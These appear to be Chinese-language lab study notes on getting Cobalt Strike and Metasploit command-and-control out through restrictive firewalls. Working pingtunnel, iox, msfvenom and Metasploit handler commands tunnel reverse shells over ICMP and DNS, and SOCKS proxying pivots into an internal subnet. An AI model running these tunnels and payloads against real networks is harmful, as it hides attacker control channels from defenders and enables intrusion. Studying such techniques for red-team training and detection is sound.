./pingtunnel -type server -noprint 1 -nolog 1 -key 000000
将本地4455转至5566端口
./iox proxy -l 4455 -l 5566
Web
将本地2222的TCP封装IMCP给192.168.139.141:4455
pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.139.141 -t 192.168.139.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000
建立SockS节点绑定3389端口:
iox.exe proxy -r 127.0.0.1:2222




Ø 隧道技术-ICMP-探针&搭建-C2上线&穿透
规则
出网看出站规则
协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port
示例:ApingB不通,那么A就是不出网;BpingA通,B出网
防火墙只开启必要的端口
入站只开80,出战只开ICMP
80开启可以访问网页,但是因为开启了防火墙所以fscan只能扫描到80端口开启了

其实开启了很多:

如果关闭防火墙就能扫到

如果防火墙的入站和出站都设置了规则那么CS的正反向都上不了线了
假设现在因为开启了80端口,在网页发现漏洞拿下了这台主机,并且用哥斯拉连接上了
ICMP测试
哥斯拉拿下主机后,测试出网,ping如果能ping通同一网段的ip那么ICMP就是开启了

开了
利用工具pingtunnel
在能和靶机ping通的主机执行:
./pingtunnel -type server
- 这是ICMP隧道服务器,监听在Kali的
192.168.117.128上 - 等待客户端通过ICMP包连接
开始等待连接:

这里实验的就是Web,通信的就是kali
Web执行:
pingtunnel -type client -l :6666 -s 192.168.117.128 -t 192.168.117.128:7777 -tcp 1 -noprint 1 -nolog 1
-l :6666:在Web服务器本地(148)监听6666端口-s 192.168.117.128:连接到Kali的pingtunnel服务端-t 192.168.117.128:7777:最终目标是Kali的7777端口-tcp 1:使用TCP协议传输数据-noprint 1:不打印输出信息-nolog 1:不记录日志

在CS生成两个监听器
127.0.0.1 6666(后门)
192.168.117.128 7777(监听上线)
两个都是反向的http


在6666监听器生成后门文件上传到Web

生成之后上传到Web,然后执行,上线:

http流量封装成icmp流量转发出去,因为icmp协议能出战
可以抓包检验,会发现流量都是icmp协议
流量路径:
Web服务器 (192.168.117.148)
↓
CS后门执行 → 连接 127.0.0.1:6666 (本地)
↓
被pingtunnel客户端捕获 (-l :6666)
↓
封装成ICMP包
↓
通过ICMP隧道发送到 Kali(128)
↓
Kali的pingtunnel服务端接收
↓
解封装 → 转发到 127.0.0.1:7777
↓
CS的7777监听器 → beacon上线
MSF操作:
MSF:
pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run
后续穿透问题
操作
Pingtunel配合iox代理Socks内网穿透
C2:
下面的操作是在之前的操作web上线之后的操作
./pingtunnel -type server -noprint 1 -nolog 1 -key 000000
接收客户端传递的ICMP,C2 开始“监听 ICMP 包”,等着有人往 ICMP 里塞 TCP 数据
./iox proxy -l 4455 -l 5566
将本地4455转至5566端口,iox 监听 4455 → 5566。4455 是 ICMP 解封后的入口,5566 是后续可用的 TCP 出口
Web:
pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.117.128 -t 192.168.117.128:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000
1️⃣ 在 Web 本地监听 TCP 2222
127.0.0.1:2222
👉 后面 iox SOCKS 就连这里
2️⃣ 把 TCP 数据封装进 ICMP
TCP → ICMP Echo
- TCP payload 被切片
- 塞进 ICMP 数据区
- 发给
192.168.117.128
3️⃣ ICMP 的“逻辑目标”
-t 192.168.117.128:4455
- ICMP 没有端口
4455只是 pingtunnel 内部标记- 用来让 server 交给哪个 TCP listener
iox.exe proxy -r 127.0.0.1:2222
iox 建立 SOCKS,把 SOCKS 的出口指向 pingtunnel 的 TCP 入口
配置proxifier



成功访问到2网段
主机
↓ SOCKS5
Kali :5566
↓ IOX 内部转发
Kali :4455
↓ ICMP 隧道(pingtunnel)
Web :2222
↓ IOX 出口
192.168.2.0/24
① 主机 → Kali :5566
- 真实协议:TCP
- 角色:
- 主机:SOCKS 客户端(Proxifier)
- Kali:SOCKS5 服务端(IOX)
这是唯一一段真实 TCP 连接
② Kali :5566 → Kali :4455
- 不是网络连接
- 是 IOX 内部逻辑转发
这里 没有发包出网
③ Kali :4455 → Web :2222
- 真实出网协议:ICMP
- 表象:ping 包
- 实际内容:TCP 数据(被 pingtunnel 封装)
这是整个链路里最关键的一跳
④ Web :2222 → 2 网段
- 真实协议:TCP / UDP / ICMP(取决于你访问什么)
- 发起者:Web 主机
- 目的:192.168.2.0/24
Web 在这里是 真正的“代访问者”
大致流程
① 主机发起访问(浏览器 / mstsc / nmap)
应用程序
↓
Proxifier
Proxifier 说:
“这不是我直连,我走 SOCKS”
② Proxifier → Kali(SOCKS 控制信息)
SOCKS CONNECT 192.168.2.134:3389
⚠️ 这一步 还没任何数据
只是 “我要连谁”
③ Kali → Web(通过 ICMP 隧道)
SOCKS CONNECT 192.168.2.134:3389
↓
TCP payload
↓
封装进 ICMP
👉 目标 IP/端口就在 payload 里
④ Web 收到 SOCKS 指令(关键点)
Web 的 iox / SOCKS 服务收到的是:
CONNECT 192.168.2.134:3389
此时 Web 才“知道”:
哦,原来你要我访问 2 网段的 192.168.2.134:3389
不是猜的,是被明确指示的。
⑤ Web 真正发起 TCP 连接(真实访问点)
Web
↓
TCP SYN
↓
192.168.2.134:3389
🔥 这里才是真正访问 2 网段的地方
⑥ 返回数据(同样原路)
192.168.2.134
↓
Web
↓
SOCKS response
↓
封装进 ICMP
↓
Kali
↓
Proxifier
↓
应用程序
C2->Web
所有从 Kali → Web 的数据,都是“夹在 ICMP Reply 里”,作为 Web 主动 ICMP 请求的“响应”返回的
Web 先发 ICMP,Kali 才能回 ICMP
回包里可以塞数据
C2先执行:
./pingtunnel -type server
等待web来连接,web执行:
pingtunnel -type client -l :6666 -s 192.168.117.128 -t 192.168.117.128:7777 -tcp 1 -noprint 1 -nolog 1
连接上之后web就会一直请求,这个时候如果C2想要发送数据就可以在icmp的相应包里面塞数据,比如访问2网段,web接受到icmp数据包之后就能去执行,并不是kali主动去发送什么请求
Ø 隧道技术-DNS-探针&搭建-C2上线&穿透
这次关闭icmp,开启DNS防火墙,53端口,TCP和UDP
测试就去nslookup域名,比如baidu.com

可以发现icmp关了,但是dns开了
具体的上线流程大概是:
- C2服务器需要外网的
- 配置一个域名,示例:ns8.xiaodi8.com指向c2.xiaodi8.com,c2.xiaodi8.com指向C2服务器的ip
- CS客户端新建监听器,payload选择Beacon DNS
- DNS地址填写ns8.xiaodi8.com,DNS地址(Stager)填写c2.xiaodi8.com
- 生成后门文件,上传到Web,执行,上线
- checkin
- mode dns-txt
后续穿透问题
dnscat2(DNS)配合上线
SMB
SMB一般在防火墙入站默认是开启的,判断目标端口是否开放
适用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限
利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下

浙公网安备 33010602011771号